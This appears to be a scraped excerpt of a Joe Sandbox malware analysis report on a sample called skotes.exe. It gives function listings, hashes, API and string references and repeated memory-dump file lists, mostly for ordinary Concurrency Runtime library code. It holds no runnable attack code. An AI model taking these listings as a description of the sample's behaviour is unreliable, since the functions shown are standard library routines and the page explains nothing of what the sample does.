Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6t$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-4293484019
Opcode ID: cd4fcf493e39589951d1f1adb6cb3212b7e948d45dd0d49cec7aa7bee44e1200
Instruction ID: 6089fadefb9b4f795a0e3017c77f10a2e712906b4e152ca7dfecb0fe831cb98b
Opcode Fuzzy Hash: cd4fcf493e39589951d1f1adb6cb3212b7e948d45dd0d49cec7aa7bee44e1200
Instruction Fuzzy Hash: 1D21A171604209BFDB30AE758C84E6BB7ADFF103747204A14F83897261E7B8EC1087A1

Function 0073AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0073AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0073AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0073AF4E

Strings

pExecutionResource, xrefs: 0073AF07

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 45c3076989f2ea2213a13dbec4d0ef55a9d989c9911dd91aa03f172b58368a9b
Instruction ID: cecdceb6e2b4d9330cbf14208e366f3c16bd5f848f1c06988ac14ec5540fbc4a
Opcode Fuzzy Hash: 45c3076989f2ea2213a13dbec4d0ef55a9d989c9911dd91aa03f172b58368a9b
Instruction Fuzzy Hash: B521B9B5640315EBCF04EF54C856BADB7B5BF48300F108029F5056B282DBB8EE45DB91

Function 00734EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00734F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00734F66

Strings

count, xrefs: 00734EBA
ppVirtualProcessorRoots, xrefs: 00734F1C

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: ec7155fac6576c26b257c0bd0915c0b0ad1a3077d863b1e28bccbd6e966007cf
Instruction ID: 15e9a6abb517968f964a7878d1b765e7ad4db098c81f56a8821b0363fc1de498
Opcode Fuzzy Hash: ec7155fac6576c26b257c0bd0915c0b0ad1a3077d863b1e28bccbd6e966007cf
Instruction Fuzzy Hash: 1F21D334600215EFDB18EF58C895EAD77B5FF48310F144029F50697692DB79BE01CB51

Function 0073B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0073BA0E

Strings

RoUninitialize, xrefs: 0073B9C1
RoInitialize, xrefs: 0073B998
combase.dll, xrefs: 0073B983, 0073B988, 0073B99D, 0073B9C8

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 6ae97eaf087ba21e7be856dd89b2cb6977ca7254356bc5cf386c67daba8d1799
Instruction ID: f9990d7430b8601983d2a2b64acf761b4125c4b9a689274aca6bd5006064f257
Opcode Fuzzy Hash: 6ae97eaf087ba21e7be856dd89b2cb6977ca7254356bc5cf386c67daba8d1799
Instruction Fuzzy Hash: FE012DB0991315ADF714B7B54C09B7F32AC5F0134CF206D39A641E3292EFACE40086A6

Function 00736E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00736E73

Part of subcall function 00734E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00734E7F
Part of subcall function 00734E6E: List.LIBCMT ref: 00734E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00736E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00736EAA

Strings

eventObject, xrefs: 00736E7D

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 95973a45e752c0aea16639332d72cfdd30429377f36fa3e0fb1435a7beb1f4ca
Instruction ID: fbc9ccaf4a7a93cc803fe4808c77d165b16885fc20c276ed16e31b594819f262
Opcode Fuzzy Hash: 95973a45e752c0aea16639332d72cfdd30429377f36fa3e0fb1435a7beb1f4ca
Instruction Fuzzy Hash: 3011E975580214F7EB24E7E4CC4AFEE73686F04304F208625F505A60D3DBBCAA04C671

Function 0073A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0073A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0073A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0073A139

Strings

pScheduler, xrefs: 0073A131

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
